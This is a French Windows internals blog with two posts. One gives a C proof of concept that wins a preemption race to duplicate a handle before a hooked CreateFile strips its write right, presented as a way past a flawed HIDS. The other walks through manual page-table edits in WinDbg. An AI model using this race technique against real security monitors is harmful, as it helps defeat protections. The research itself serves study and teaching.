J’ai reproduit le concept dans un code userland (pour l’exemple) avec le code ci-dessous. J’ai prit le device C: à la place du \Device\PhsysicalMemory. J’ai une routine qui correspond à un hook de CreateFile (MyCreateFile) qui est appelée par un thread (ThreadOpen). En premier MyCreateFile ouvre un handle sur le device avec les droits passés en argument, vérifié si l’ouverture est possible. Ensuite si le param dwDesiredAccess demande une ouverture en GENERIC_READ alors MyCreateFile va le désactiver et renvoyé un handle en GENERIC_READ.

#include <windows.h>
#include <stdio.h>

HANDLE MyCreateFile(
  LPCTSTR lpFileName,
  DWORD dwDesiredAccess,
  DWORD dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD dwCreationDisposition,
  DWORD dwFlagsAndAttributes,
  HANDLE hTemplateFile
)
{
    HANDLE hFile;
    
    hFile=CreateFile(lpFileName,            
                    dwDesiredAccess,        
                    dwShareMode,            
                    lpSecurityAttributes,   
                    dwCreationDisposition, 
                    dwFlagsAndAttributes,   
                    hTemplateFile);         
    
    //check si l'ouverture est ok
    if(hFile==INVALID_HANDLE_VALUE) 
        return INVALID_HANDLE_VALUE;
    
    //2 cas, soit on demande un ouverture en écriture, alors on close le handle hFile 
    //et on reouvre le file en GENERIC_READ
    //Sinon on renvoie le handle
    if(dwDesiredAccess&GENERIC_WRITE)
    {
        CloseHandle(hFile);
        
        printf("Removing GENERIC_WRITE righ\n");
        
        hFile=CreateFile(lpFileName,           
                    dwDesiredAccess&~GENERIC_WRITE,  //vire le flag GENERIC_WRITE de dwDesiredAccess     
                    dwShareMode,           
                    lpSecurityAttributes,   
                    dwCreationDisposition, 
                    dwFlagsAndAttributes,   
                    hTemplateFile);
      if(hFile!=INVALID_HANDLE_VALUE)
        return hFile;      
    }
    else
        return hFile;                        
    
    return INVALID_HANDLE_VALUE;   
}


DWORD WINAPI ThreadOpen(LPVOID lpParameter)
{
    HANDLE hFile;
    
    hFile=MyCreateFile("\\\\.\\C:",
                    GENERIC_READ|GENERIC_WRITE,
                    FILE_SHARE_READ|FILE_SHARE_WRITE,
                    NULL,
                    OPEN_EXISTING,
                    FILE_ATTRIBUTE_NORMAL,
                    NULL);
    if(hFile==INVALID_HANDLE_VALUE)
    {
        printf("Error with CreateFile : %d\n", GetLastError());
        return 0;   
    }
    
    CloseHandle(hFile);
    return 0;   
}


int main()
{
    DWORD TID;
    HANDLE hThread;
        
    hThread=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadOpen, NULL, 0, &TID);
    if(hThread==NULL)
    {
        printf("Error with CreateThread : %d\n", GetLastError());
        return 0;   
    }
    
    WaitForSingleObject(hThread, INFINITE);
    
    CloseHandle(hThread);
    return 0;   
}

Vous me direz qu’a première vue, même si la vérification semble un peu weird, niveau sécu ya pas de soucis. Sauf, sauf, sauf que ! Imaginez, vous êtes entourée de 2 chix ultra cute, légèrement habillé et là, elles commencent à vous … HEWWW trompé de fenêtre, maudits chocapicz, désolé :] Je disais donc, imaginez que le durant la routine de vérification le thread de fasse préempté par un autre thread sous ordre du scheduler. Si, comme de par un hasard magique, le thread se fait préempté juste après avoir ouvert le handle avec les droits passé en params. On se retrouve avec notre process possédant les droits voulu sur l’objet (les handles étant process spécific, je le rappel) durant un court temps. IMAGINEZ qu’a ce moment là on regarde les handles ouvert du process et qu’en voyant ce zoli handle sur notre objet avec les droits voulu on duplique ce handle. GRUUUUTT !

Le concept est intéressant. Reste à l’appliquer … Première, étape, comment faire en sorte que le thread se fasse préempter au bon moment ? On a pas le choix, il faut bruteforcer, on va faire en sorte que le thread qui ouvre l’objet tourne en priority -6 avec l’api SetThreadPriority , tandis qu’en parallèle un autre thread tournera dans le même process en priority +6. Le scheduler privilégiant le second thread devra préempter le premier. Ensuite comme j’ai un dual core, je vais faire tourner les 2 threads sur le core 0 avec l’API SetThreadAffinityMask pour être bien sur qu’aucun des threads ne tourne en parallèle sur l’autre core.

Seconde étape, retrouver le handle. On ne va pas s’amuser à énumérer tous les handles du process, cela est trop compliqué et prendrait trop de temps. On va ruser comme des renards, sachant qu’un handle n’est qu’au final un indice dans une table, il suffit de crée un handle, de récup sa valeur puis de le ferme, en théorie le handle suivant devrait prendre la même valeur.

Ensuite on fait tourner les threads dans des boucles infinies. Le thread chargé de volé le handle va utilisé NtQueryObject pour retrouver le nom du handle supposé. Dans mon exemple j’ai prit le device NUL. S’il trouve le device il duplique le handle et check si l’écrite est disponible dessus :] Si c’est bon on a volé le handle comme désiré. En code ca donne :

#include &ltwindows.h&gt
#include &ltstdio.h>

#include "ntdll.h"

#pragma comment (lib, "ntdll.lib");

HANDLE MyCreateFile(
  LPCTSTR lpFileName,
  DWORD dwDesiredAccess,
  DWORD dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD dwCreationDisposition,
  DWORD dwFlagsAndAttributes,
  HANDLE hTemplateFile
)
{
    HANDLE hFile;
    
    hFile=CreateFile(lpFileName,            
                    dwDesiredAccess,        
                    dwShareMode,            
                    lpSecurityAttributes,   
                    dwCreationDisposition, 
                    dwFlagsAndAttributes,   
                    hTemplateFile);         
    
    //check si l'ouverture est ok
    if(hFile==INVALID_HANDLE_VALUE) 
        return INVALID_HANDLE_VALUE;
    
    printf("Handle value : 0x%x\n", hFile);
    
    //2 cas, soit on demande un ouverture en écriture, alors on close le handle hFile 
    //et on reouvre le file en GENERIC_READ
    //Sinon on renvoie le handle
    if(dwDesiredAccess&GENERIC_WRITE)
    {
        CloseHandle(hFile);
        
        printf("Removing GENERIC_WRITE righ\n");
        
        hFile=CreateFile(lpFileName,           
                    GENERIC_READ,  //vire le flag GENERIC_WRITE de dwDesiredAccess     
                    dwShareMode,           
                    lpSecurityAttributes,   
                    dwCreationDisposition, 
                    dwFlagsAndAttributes,   
                    hTemplateFile);
      if(hFile!=INVALID_HANDLE_VALUE)
        return hFile;      
    }
    else
        return hFile;                        
    
    return INVALID_HANDLE_VALUE;   
}


DWORD WINAPI ThreadOpen(LPVOID lpParameter)
{
    HANDLE hFile;
    
    while(1)
    {
        hFile=MyCreateFile("\\\\.\\NUL",
                        GENERIC_READ|GENERIC_WRITE,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL);
        if(hFile==INVALID_HANDLE_VALUE)
        {
            printf("Error with CreateFile : %d\n", GetLastError());
            return 0;   
        }
        
        CloseHandle(hFile);
    }
    
    return 0;   
}


DWORD WINAPI ThreadSteal(LPVOID lpParameter)
{
    HANDLE hObject, hDup;
    ULONG Status, BytesRet;
    POBJECT_NAME_INFORMATION pONI;
    OBJECT_BASIC_INFORMATION OBI;
    
    while(1)
    {
        hObject=MyCreateFile("C:\\Windows\\explorer.exe",
                            GENERIC_READ,
                            FILE_SHARE_READ|FILE_SHARE_WRITE,
                            NULL,
                            OPEN_EXISTING,
                            FILE_ATTRIBUTE_NORMAL,
                            NULL);
        if(hObject==INVALID_HANDLE_VALUE)
        {
                printf("Error with CreateFile : %d\n", GetLastError());
                goto cleanup;   
        }
        CloseHandle(hObject);
       
        
        printf("Next supposed handle value : 0x%x\n", hObject); 
         
        
        /*******************NAME*****************/
        pONI=(POBJECT_NAME_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_PATH); 
        
        Status=ZwQueryObject(hObject, 
                            ObjectNameInformation, 
                            pONI, 
                            MAX_PATH, 
                            &BytesRet);
        if(Status!=STATUS_SUCCESS) // si c'est bon cette fois ci
        {   
            //printf("Error with NtQueryObject (ObjectNameInformation) : 0x%x : %d \n", Status, RtlNtStatusToDosError(Status));
            goto cleanup;
        }               
                                
        if(pONI->Name.Length)
            wprintf(L"%s\n", pONI->Name.Buffer);
        else
            printf("\n");   
        
        if(wcscmp(pONI->Name.Buffer, L"\\Device\\Null")==0)
        {
           //printf("Duplicating handle ...\n");
           
           Status=ZwDuplicateObject(GetCurrentProcess(),
                        hObject,
                        GetCurrentProcess(),
                        &hDup,
                        0,
                        false,
                        DUPLICATE_SAME_ACCESS);
            if(Status!=STATUS_SUCCESS)
            {           
                printf("Error with NtDuplicateObject : 0x%x : %d \n", Status, RtlNtStatusToDosError(Status));
                goto cleanup;
            }                   
            
            /*
            sort un result zarb ...
            Status=ZwQueryObject(hDup, 
                            ObjectBasicInformation, 
                            &OBI, 
                            sizeof(OBI), 
                            &BytesRet);
            if(Status!=STATUS_SUCCESS)
            {           
                printf("Error with NtQueryObject : 0x%x : %d \n", Status, RtlNtStatusToDosError(Status));
                goto cleanup;
            }   
            
            printf("OBI.GrantedAccess : 0x%x\n", OBI.GrantedAccess);
            */
            
            if(!WriteFile(hDup, "bouh", strlen("bouh"), &BytesRet, 0))
                printf("FUCKED\n");
                
            printf("Getting handle with full rights \\o/\n");
            HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, pONI);
            CloseHandle(hObject);
            
            ExitThread(0);             
        }   
        
        cleanup:
        HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, pONI);
        CloseHandle(hObject);
    }
        
    return 0;
}


int main()
{
    DWORD TID;
    HANDLE hThreadOpen, hThreadSteal;
        
    hThreadSteal=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadSteal, NULL, 0, &TID);
    if(hThreadSteal==NULL)
    {
        printf("Error with CreateThread : %d\n", GetLastError());
        return 0;   
    }
    SetThreadPriority(ThreadSteal, 6);
    SetThreadAffinityMask(hThreadSteal, 0);
    
    
    hThreadOpen=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadOpen, NULL, 0, &TID);
    if(hThreadOpen==NULL)
    {
        printf("Error with CreateThread : %d\n", GetLastError());
        return 0;   
    }
    SetThreadPriority(hThreadOpen, -6);
    SetThreadAffinityMask(hThreadOpen, 0);
    
    //wait le ThreadSteal
    WaitForSingleObject(hThreadSteal, INFINITE);
    
    TerminateThread(hThreadOpen, 0);
    
    CloseHandle(hThreadSteal);
    CloseHandle(hThreadOpen);
    
    return 0;   
}

En pratique ca sort :

C:\ProgHack\c>prempt
[...]
Removing GENERIC_WRITE righ
Error with NtDuplicateObject : 0xc0000008 : 6
Handle value : 0x7d8
Next supposed handle value : 0x7d8
Handle value : 0x7d8
\Device\Null
Getting handle with full rights \o/

Evidemment, c’est attaque est a appliqué sur un thread utilisant un syscall checké par un HDIS mal foutu. La je le fais en user-land pour vous montrer une application. Le reste dépend de vous ;)

Je vous file le code+bin ici :
http://ivanlef0u.fr/repo/Preempt.rar

Bien évidemment il est possible d’empêcher le fait qu’un code se fasse préempté en utilisant des Critical Sections.

Sinon 2 docs qui valent le coup d’être lues :
What Every Programmer Should Know About Memory

Understanding Full Virtualization, Paravirtualization, and Hardware Assist

Enfin IRC, la ou tout est possible :)

<presonic_> WUSUP PUSSIES
<zmda> someone is teaching me kernel hacking
<presonic_> cool
<zmda> [06:47] <[I]shTuS> i mean with the PAX thing
<zmda> [06:47] <zmda> i want to bypass its features
<zmda> [06:47] <zmda> i found a 0day
<zmda> [06:47] <zmda> in the linux tcpip stack
<zmda> [06:48] <zmda> ip_queue_xmit() or something
<zmda> [06:55] <[I]shTuS> how many bytes does it take to overflow?
<zmda> [06:57] <zmda> 4gig i think
<presonic_> lol
<presonic_> 4 gig
<zmda> [07:03] <[I]shTuS> exact ammount of data + 4 bytes to change eip to a CALL ESP instruction + your code that binds a shell or something
<zmda> [07:07] <zmda> it's an integer overflow
<zmda> [07:07] <zmda> that triggers off a slab allocator overflow
<zmda> [07:08] <[I]shTuS> hmm what is a slab allocator overflow?...
<zmda> [07:08] <[I]shTuS> never heared of it
<zmda> he said he was deep into kernel exploitation
<zmda> at the start
<zmda> [07:08] <[I]shTuS> int overflow leads to buffer overflow
<zmda> [07:09] <[I]shTuS> http://en.wikipedia.org/wiki/Buffer_overflow

3 comments novembre 24th, 2007

Lost Page

Il y des jours comme ca, on croit avoir une bonne idée, on commence à coder un peu, sans trop réfléchir, pour se rendre compte qu’en fait, c’est super chaud ce qu’on veut faire … C’est marrant de voir comment on peut chier dans la colle parfois. J’étais en train de ranger ma collection de RSS (170 au total) quand je me suis dit qu’on devait pouvoir tricker avec la mémoire user-land non explorée.

Je me suis donc coder un petit prog qui alloue les dernières portions de mémoire avant l’adresse 0×80000000.

#include <windows.h>
#include <stdio.h>

#pragma comment (lib, "ntdll.lib")

extern "C" ULONG __stdcall NtAllocateVirtualMemory(
	IN HANDLE ProcessHandle,
	IN OUT PVOID *BaseAddress,
	IN ULONG ZeroBits,
	IN OUT PULONG AllocationSize,
	IN ULONG AllocationType,
	IN ULONG Protect
);

ULONG main(int argc, char * argv[])
{
	ULONG Status, Size=0x1000, A;
	PVOID Addr;

 	for(A=0x70, Addr=0; A<0x80; A++, Addr=0)
 	{

 		Addr=(PVOID)((A<<24)+0xFF0000);

 		printf("Addr: 0x%x\n", Addr);
 		Status=NtAllocateVirtualMemory((HANDLE)-1, &Addr, 0, &Size,
 		MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); 

		if(Status)
 			printf("Error with NtAllocateVirtualMemory : 0x%x\n", Status);
 		else
 			printf("RULZ\n");

 		VirtualFree(Addr, Size, MEM_RELEASE);	

 	}
 	return 0;
}

A l’exécution j’obtiens :

[...]
Addr: 0x7dff0000
RULZ
Addr: 0x7eff0000
RULZ
Addr: 0x7fff0000
Error with NtAllocateVirtualMemory : 0xc00000f0

WTF avec l’addr 0x7fff00, la fonction NtAllocateVirtualMemory renvoie STATUS_INVALID_PARAMETER_2, qui veut dire que l’adresse d’allocation n’est pas bonne … Un petit doute s’empare de moi, ai-je mal retenu la limite entre le user-land et le kernel ? OK je sors le kd et je dump quelques constantes :

kd> ? poi(nt!MmSystemRangeStart)
Evaluate expression: -2147483648 = 80000000

Cool, le kernel-land commence bien en 0×80000000. Je regarde l’adresse user-land la plus élevée possible qui normalement devrait être 0x7fffffff :

kd> ? poi(nt!MmHighestUserAddress)
Evaluate expression: 2147418111 = 7ffeffff

Bim en plein dans mon cul, la fonction NtAllocateVirtualMemory vérifie que l’adresse d’allocation + la taille demandé ne dépasse pas MmHighestUserAddress et renvoie une erreur sinon. Un rapide calcul nous montre que MmSystemRangeStart-MmHighestUserAddress=0×1001, soit 4Ko (une page !) allant de 0x7fff000 à 0x7fffffff qui ne seront jamais utilisé par le process.

J’étais donc partit sur l’idée d’exploiter cette sorte de no man’s land pour y cacher des dates, du codes, voir même des chocapicz. Comme la seule fonction user-land capable d’allouer de la mémoire est NtAllocateVirtualMemory il me fallait concevoir à driver qui allait servir à ajouter cette zone mémoire dans le context de mon process.

Avec mon driver il est évident que je n’allais pas utiliser ZwAllocateMemory, j’ai donc décidé de jouer avec les MDL. Processus classique, j’alloue un buffer de la taille d’une page (PAGE_SIZE) dans la paged pool du kernel avec ExAllocatePoolWithTag puis je crée un MDL avec IoAllocateMdl qui représente la page de ce buffer. Ensuite MmProbeAndLockPages pour que ma page soit résidente en mémoire (jamais swappée) et enfin MmMapLockedPagesSpecifyCache pour mapper ma page à l’adresse 0x7fff0000 et là c’est le drame ! MmMapLockedPagesSpecifyCache contrôle aussi que l’allocation se fait bien à une adresse inférieure à 7ffeffff, ouinnz !

A partir de ce moment, je commence à désespérer, je sens que j’ai encore eu une idée en mousse. Arrive un moment ou je me dis que la solution la plus évidente serait d’ajouter moi même ma page dans l’espace mémoire du process. Mais pour cela, il faut s’attaquer à l’enfer qu’est la pagination … Pour ceux qui connaissent déjà, ils peuvent sauter ce post et m’aider un coder mon tool ;)

Bion, un process dispose d’un espace user-land de 2Go virtuellement disponible. Cela signifie qu’il existe un mécanisme faisant croire au process qu’il dispose de 2Go de RAM alors qu’en réalité vous en avez juste assez pour faire tourner démineur sous Vista, c’est à dire 1 Go :p. Concrètement, le process manipule des addresse virtuelles qui peuvent aller de 0×0000000 à 0x7ffeffff, le système va effectuer une translation d’adresse pour retrouver l’adresse physique correspondante dans la RAM. Comme il ya au maximum 4GO de RAM allouable sur un système x86 32 bits il existe une extension kernel appelée PAE qui permet de profiter pleinement de toute votre mémoire, je ne m’attarderais pas dessus.

Chaque process va donc allouer son codes et ses datas dans les zones mémoire de son choix, seules les pages nécessaires seront utilisées physiquement. Cependant comme un programme à son propre espace mémoire de 2Go, il faut bien évidement que l’adresses 0×400000 ne renvoie pas sur la même adresse physique pour le processs A et pour le process B. C’est là qu’on rentre dans le principe de la pagination.

En gros chaque process possède une table qui lui est propre, servant à translater les adresses virtuelles en adresses physiques. Cette table se présente sous la forme d’un tableau de tableaux. Le premier tableau contient des Page Directorie Entries (PDE), le second des Page Table Entries (PTE). Chaque process possède 1024 (0×400) PDE et chaque PDE possède 1024 PTEs. Un PTE représente un page mémoire c’est à dire 4Ko. Si on calcul, 1024*1024*4096=2^32, on a bien toute notre mémoire de représentée. Les PDE et PTE on la forme suivante :

PDE_PTE

Pour plus d’infos je vous laisse lire les man intels. Ce qu’il faut retenir ce sont les champs « Page-Table Base Address » et « Page Base Address ». En fait, un PDE va référencer un PTE à travers son l’indice de sa page dans la RAM. Par exemple si j’ai un PDE avec un Page-Table Base Address de 0×879, alors ma table de PTEs commence à 0×879*PAGE_SIZE en RAM. Une adresse virtuelle sert à indiquer quels PDE et PTE sont utilisés pour retrouver son adresse physique. Celle-ci est découpée en 3 parties comme vous le voyez sur le schéma suivant :

Virtual_Address

Si je prends l’adresse virtuelle 0x7e390000 alors l’indice du PDE parmi les 1024 existant est 0x1f8 :

kd> ? 7e390000 >>0x16
Evaluate expression: 504 = 000001f8

L’indice de son PTE parmit les 1024 est 0×390 :

kd> ? (7e390000 & 3FF000)>>0xC
Evaluate expression: 912 = 00000390

Les 12 derniers bytes servent à indiquer à quel offset nos données se trouvent dans la page. Au final on a donc :

Addr_tranlation

J’ai aussi dit que chaque process avait sa propre table de PDEs. Cela est réalisé grâce au registre cr3 qui contient l’adresse physique du tableau de PDE, on retrouve cette valeur dans l’KPROCESS dans le champ DirectoryTableBase (offset 0×18) :

804e3592 cc              int     3
kd> !process -1
PROCESS 84256da0  SessionId: 0  Cid: 02d4    Peb: 7ffd5000  ParentCid: 03ac
    DirBase: 01d62000  ObjectTable: e110bef8  HandleCount:  23.
    Image: instdrv.exe
    VadRoot ffa5c058 Vads 31 Clone 0 Private 48. Modified 1334. Locked 0.
    DeviceMap e1716068
    Token                             e1110040
    ElapsedTime                       06:17:31.720
    UserTime                          00:00:00.040
    KernelTime                        00:00:00.440
    QuotaPoolUsage[PagedPool]         15360
    QuotaPoolUsage[NonPagedPool]      1240
    Working Set Sizes (now,min,max)  (322, 50, 345) (1288KB, 200KB, 1380KB)
    PeakWorkingSetSize                322
    VirtualSize                       12 Mb
    PeakVirtualSize                   12 Mb
    PageFaultCount                    319
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      91

        THREAD ffa07030  Cid 02d4.02bc  Teb: 7ffdf000 Win32Thread: e1117d90 WAIT: (WrUserRequest) UserMode Non-Alertable
            80dd8138  SynchronizationEvent

kd> dt nt!_KPROCESS 84256da0
   +0x000 Header           : _DISPATCHER_HEADER
   +0x010 ProfileListHead  : _LIST_ENTRY [ 0x84256db0 - 0x84256db0 ]
   +0x018 DirectoryTableBase : [2] 0x1d62000
   [..]

A noter que le tableau des PDEs se retrouve toujours à l’adresse virtuelle 0xC0300000

Maintenant on va prendre un exemple concret ! Dans le cas suivant, j’ai fait en sorte que KD se retrouve dans le context d’un process nommé instdrv.exe.

kd> .process /i 84256da0
You need to continue execution (press 'g' ) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.

kd> g
Break instruction exception - code 80000003 (first chance)
nt!RtlpBreakWithStatusInstruction:
804e3592 cc              int     3

kd> !peb
PEB at 7ffd5000
    InheritedAddressSpace:    No
    ReadImageFileExecOptions: No
    BeingDebugged:            No
    ImageBaseAddress:         00400000
    Ldr                       00191e90
    Ldr.Initialized:          Yes
    Ldr.InInitializationOrderModuleList: 00191f28 . 00192258
    Ldr.InLoadOrderModuleList:           00191ec0 . 001922e8
    Ldr.InMemoryOrderModuleList:         00191ec8 . 001922f0
            Base TimeStamp                     Module
          400000 3b6a692f Aug 03 11:04:47 2001 C:\mdl\instdrv.exe
        7c910000 41109627 Aug 04 09:54:15 2004 C:\WINDOWS\system32\ntdll.dll
        7c800000 46239be7 Apr 16 17:53:11 2007 C:\WINDOWS\system32\kernel32.dll
        77da0000 411095e8 Aug 04 09:53:12 2004 C:\WINDOWS\system32\ADVAPI32.dll
        77e50000 46923412 Jul 09 15:11:46 2007 C:\WINDOWS\system32\RPCRT4.dll
        77fc0000 4110961d Aug 04 09:54:05 2004 C:\WINDOWS\system32\Secur32.dll
        7e390000 45f02dce Mar 08 16:37:50 2007 C:\WINDOWS\system32\USER32.dll
        77ef0000 4677dae9 Jun 19 15:32:25 2007 C:\WINDOWS\system32\GDI32.dll
    SubSystemData:     00000000
    ProcessHeap:       00080000
    ProcessParameters: 00020000
    WindowTitle:  'C:\mdl\instdrv.exe'
    ImageFile:    'C:\mdl\instdrv.exe'
    CommandLine:  '"C:\mdl\instdrv.exe" '
    DllPath:      'C:\mdl;C:\WINDOWS\system32;C:\WINDOWS\system;C:\WINDOWS;.;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem'
    Environment:  00010000
        ALLUSERSPROFILE=C:\Documents and Settings\All Users
        APPDATA=C:\Documents and Settings\fu\Application Data
        CLIENTNAME=Console
        CommonProgramFiles=C:\Program Files\Fichiers communs
        COMPUTERNAME=FU
        ComSpec=C:\WINDOWS\system32\cmd.exe
        FP_NO_HOST_CHECK=NO
        HOMEDRIVE=C:
        HOMEPATH=\Documents and Settings\fu
        LOGONSERVER=\\FU
        NUMBER_OF_PROCESSORS=1
        OS=Windows_NT
        Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
        PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
        PROCESSOR_ARCHITECTURE=x86
        PROCESSOR_IDENTIFIER=x86 Family 15 Model 72 Stepping 2, AuthenticAMD
        PROCESSOR_LEVEL=15
        PROCESSOR_REVISION=4802
        ProgramFiles=C:\Program Files
        SESSIONNAME=Console
        SystemDrive=C:
        SystemRoot=C:\WINDOWS
        TEMP=C:\DOCUME~1\fu\LOCALS~1\Temp
        TMP=C:\DOCUME~1\fu\LOCALS~1\Temp
        USERDOMAIN=FU
        USERNAME=fu
        USERPROFILE=C:\Documents and Settings\fu
        windir=C:\WINDOWS
        _NT_SYMBOL_PATH=SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols

Ok on peut voir que le tableau de PDEs de se process se trouve à l’adresse physique 0x01d62000 en regardant le registre cr3.

kd> r cr3
cr3=01d62000

La table des PDEs se trouve donc en à l’adresse physique 0x01d62000 :

kd> !dd 01d62000l 400
# 1d62000 0ade4067 0699a067 00000000 00000000
# 1d62010 00000000 00000000 00000000 00000000
# 1d62020 00000000 00000000 00000000 00000000
# 1d62030 00000000 00000000 00000000 00000000
# 1d62040 00000000 00000000 00000000 00000000
# 1d62050 00000000 00000000 00000000 00000000
# 1d62060 00000000 00000000 00000000 00000000
# 1d62070 00000000 00000000 00000000 00000000
[...]

On la retrouve bien à l’adresse virtuelle 0xC0300000 :

kd> dd 0xC0300000 l 400
c0300000  0ade4067 0699a067 00000000 00000000
c0300010  00000000 00000000 00000000 00000000
c0300020  00000000 00000000 00000000 00000000
c0300030  00000000 00000000 00000000 00000000
c0300040  00000000 00000000 00000000 00000000
c0300050  00000000 00000000 00000000 00000000
c0300060  00000000 00000000 00000000 00000000
c0300070  00000000 00000000 00000000 00000000
[...]

Maintenant je prends la DLL user32.dll qui commence à l’adresse virtuelle 0x7e390000 :

kd> db 7e390000
7e390000  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ..............
7e390010  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ........@.......
7e390020  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
7e390030  00 00 00 00 00 00 00 00-00 00 00 00 d8 00 00 00  ................
7e390040  0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68  ........!..L.!Th
7e390050  69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f  is program canno
7e390060  74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20  t be run in DOS
7e390070  6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00  mode....$......

Ok PE Header classique. On va retrouver l’adresse physique correspondant à 0x7e390000. C’est partit, d’abord on calcul l’indice du PDE :

PDE
kd> ? 7e390000 >> 16
Evaluate expression: 504 = 000001f8

Ok il est à l’indice 0x1F8 dans le tableau. Pour afficher son contenu on a 2 choix, soit on utilise l’addresse virtuelle C0300000 soit l’adresse physique 0x01d6200 (la commande !dd affiche le contenu à l’adresse phys passée en argument) :

kd> dd C0300000+1f8*4 l 1
c03007e0  07ed7067

kd> !dd 0x01d62000+1f8*4 l 1
# 1d627e0 07ed7067

Ok on a le PDE. La suite, trouvé le PTE, on prend l’adresse 0x7e390000 et on extrait l’indice du PTE :

<
PTE
kd> ? (7e390000 & 3FF000)>>C
Evaluate expression: 912 = 00000390

Le PTE se trouve à l’indice 0×390. Grâce au PDE on connait l’adresse physique de la table des PTEs (7ed7*1000), il suffit de faire l’opération suivante pour connaître le contenu du PTE :

kd> !dd (7ed7*1000)+390*4 l 1
# 7ed7e40 078e8025

On y est presque, pour ceux qui on survécu la délivrance est proche ! Le champ Page Base Address du PTE nous indique l’indice de la page physique qui contient nos données. Il suffit donc de faire (PTE.Page_Base_Address)*PAGE_SIZE+Offset pour retrouver nos datas (ici l’offset est nul) :

kd> !db 78e8*1000
# 78e8000 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00 MZ..............
# 78e8010 b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00 ........@.......
# 78e8020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
# 78e8030 00 00 00 00 00 00 00 00-00 00 00 00 d8 00 00 00 ................
# 78e8040 0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68 ........!..L.!Th
# 78e8050 69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f is program canno
# 78e8060 74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20 t be run in DOS
# 78e8070 6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00 mode....$.......

Wootz on retrouve notre en-tête PE de user32.dll.

Vous ne inquietez pas, il existe des commandes fournit par le kernel debuggger pour retrouver l’indice de la page physique correspond à notre adresse virtuelle. Par exemple, il y a la commande !pte :

kd> !pte 7e390000 (user32.dll)
               VA 7e390000
PDE at   C03007E0        PTE at C01F8E40
contains 07ED7067      contains 078E8025
pfn 7ed7 ---DA--UWEV    pfn 78e8 ----A--UREV

Et la commande !vtop :

kd> !vtop 0 7e390000
Pdi 1f8 Pti 390
7e390000 078e8000 pfn(078e8)

Plus d’aide je vous laisse lire l’aide de Windbg sur le sujet.

Revenons à notre problème. Je veux utiliser la page disponible à l’adresse virtuelle 0x7fff0000, comment faire ? Simple, ajouté un PTE au bon endroit :] exemple avec calc.exe

kd> !process 0 0
[...]
PROCESS ffba2030  SessionId: 0  Cid: 0104    Peb: 7ffd5000  ParentCid: 03c0
    DirBase: 00246000  ObjectTable: e15b1f30  HandleCount:  25.
    Image: calc.exe

kd> .process /i ffba2030
You need to continue execution (press 'g' ) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.

kd> g
Break instruction exception - code 80000003 (first chance)
nt!RtlpBreakWithStatusInstruction:
804e3592 cc              int     3

kd> db 7fff0000
7fff0000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
7fff0010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
7fff0020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
7fff0030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
7fff0040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
7fff0050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
7fff0060  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
7fff0070  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

On voit bien que la page 0x7fff0000 est invalide. Si on regarde son PTE on peut voir :

kd> !pte 0x7fff0000
               VA 7fff0000
PDE at   C03007FC        PTE at C01FFFC0
contains 0079C067      contains 00000000
pfn 79c ---DA--UWEV

Le PTE n’est pas présent, il n’y donc pas de pages physiques référençant cette zone mémoire. Ce que veux dire qu’un simple mov eax, dword ptr [0x7FFF000] nous générera une exception. Maintenant je regarde le PTE qui référence l’ImageBase de calc.exe

kd> !pte 1000000 (calc.exe ImageBase)
               VA 01000000
PDE at   C0300010        PTE at C0004000
contains 0024E067      contains 0C60C025
pfn 24e ---DA--UWEV    pfn c60c ----A--UREV

Le PTE est présent, normal, je copie son contenu à l’adresse virtuelle 0xC01FFFC0 qui contient la valeur du PTE pour l’adresse virtuelle 0x7fff0000.

kd> ed C01FFFC0 0C60C025

kd> db 7fff0000
7fff0000  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ..............
